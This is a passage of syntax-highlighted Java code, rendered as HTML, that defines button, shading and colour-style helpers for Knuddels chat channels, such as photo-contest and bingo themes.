#007700">.</span><span style="color: #0000BB">getGreen</span><span style="color: #007700">(),&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">color</span><span style="color: #007700">.</span><span style="color: #0000BB">getBlue</span><span style="color: #007700">()};<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Returns&nbsp;whether&nbsp;a&nbsp;String&nbsp;is&nbsp;null&nbsp;or&nbsp;empty<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;str&nbsp;The&nbsp;string<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;true&nbsp;if&nbsp;the&nbsp;string&nbsp;is&nbsp;null&nbsp;or&nbsp;empty&nbsp;/&nbsp;false&nbsp;if&nbsp;not.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">boolean&nbsp;isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;str</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(</span><span style="color: #0000BB">str&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//Ja,&nbsp;Flav,&nbsp;man&nbsp;kann&nbsp;auch&nbsp;.isEmpty&nbsp;benutzen!<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;class&nbsp;</span><span style="color: #0000BB">Shading&nbsp;</span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;topFadeFrom</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;middleFadeTo</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;bottomSolid</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/***<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;A&nbsp;new&nbsp;Shading<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;topFadeFrom&nbsp;&nbsp;The&nbsp;top&nbsp;color<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;middleFadeTo&nbsp;The&nbsp;middle&nbsp;color<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;bottomSolid&nbsp;The&nbsp;Bottom&nbsp;color<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(</span><span style="color: #0000BB">Color&nbsp;topFadeFrom</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color&nbsp;middleFadeTo</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color&nbsp;bottomSolid</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">topFadeFrom&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">topFadeFrom</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">middleFadeTo&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">middleFadeTo</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">bottomSolid&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">bottomSolid</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;class&nbsp;</span><span style="color: #0000BB">Button&nbsp;</span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">String&nbsp;text</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">String&nbsp;image</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">String&nbsp;chatFunction</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">boolean&nbsp;showOnTheLeftSide</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/***<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Creates&nbsp;a&nbsp;new&nbsp;button<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;text&nbsp;The&nbsp;button&nbsp;text<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;chatFunction&nbsp;The&nbsp;function&nbsp;which&nbsp;will&nbsp;be&nbsp;called&nbsp;after&nbsp;clicking&nbsp;on&nbsp;it.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">Button</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;chatFunction</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">chatFunction</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/***<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Creates&nbsp;a&nbsp;new&nbsp;Button<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;text&nbsp;The&nbsp;text&nbsp;of&nbsp;the&nbsp;button<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;chatFunction&nbsp;The&nbsp;function&nbsp;which&nbsp;will&nbsp;be&nbsp;called&nbsp;after&nbsp;clicking&nbsp;on&nbsp;it<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;image&nbsp;The&nbsp;image<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;showOnTheLeftSide&nbsp;true&nbsp;=&gt;&nbsp;left&nbsp;side;&nbsp;false&nbsp;=&gt;&nbsp;right&nbsp;side&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">Button</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;chatFunction</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;image</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">boolean&nbsp;showOnTheLeftSide</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">text&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">image&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">image</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">chatFunction&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">chatFunction</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">showOnTheLeftSide&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">showOnTheLeftSide</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;class&nbsp;</span><span style="color: #0000BB">AnalogButton&nbsp;</span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Button&nbsp;normalButton</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;analogSegments</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;sendIntervalMillis</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;cooldownIntervalMillis</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/***<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Creates&nbsp;a&nbsp;new&nbsp;AnalogButton<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;normalButton&nbsp;A&nbsp;normal&nbsp;Button<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;analogSegments&nbsp;The&nbsp;analog&nbsp;segments<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;sendIntervalMillis&nbsp;The&nbsp;interval&nbsp;in&nbsp;Milliseconds<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;cooldownIntervalMillis&nbsp;The&nbsp;interval&nbsp;of&nbsp;the&nbsp;cooldown&nbsp;in&nbsp;MS<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">AnalogButton</span><span style="color: #007700">(</span><span style="color: #0000BB">Button&nbsp;normalButton</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;analogSegments</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;sendIntervalMillis</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;cooldownIntervalMillis</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">normalButton&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">normalButton</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">analogSegments&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">analogSegments</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">sendIntervalMillis&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">sendIntervalMillis</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">cooldownIntervalMillis&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">cooldownIntervalMillis</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Ein&nbsp;paar&nbsp;Styles&nbsp;aus&nbsp;Knuddels<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;FotoContestStyle</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;channel</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Settings</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xDC</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xBA</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xEB</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x97</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x00</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xBF</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x64</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x14</span><span style="color: #007700">)),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xE1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xEF</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xF9</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xB1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xC8</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xD8</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x4D</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x93</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xBF</span><span style="color: #007700">)),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xEF</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xCA</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xB4</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xE3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xCA</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xB4</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xDD</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x4A</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x3F</span><span style="color: #007700">)));<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;FotoContestFlirtStyle</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;channel</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Settings</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x5E</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x60</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x9B</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x01</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x03</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x5F</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x01</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x02</span><span style="color: #007700">)),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xC6</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xF3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x2F</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x61</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x01</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x2A</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xAE</span><span style="color: #007700">)),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xEF</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xCA</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xB4</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xE3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x75</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x67</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xDD</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x4A</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x3F</span><span style="color: #007700">)));<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;BingoStyle</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;channel</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Settings</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x67</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x9F</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x4E</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x69</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x26</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x3E</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x63</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x9F</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x4E</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x69</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x32</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x4B</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x63</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x9F</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x4E</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x69</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x32</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x4B</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)));<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;SmileyWarsBetaStyle</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;channel</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Settings</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xAE</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xB7</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFC</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x76</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x84</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xE4</span><span style="color: 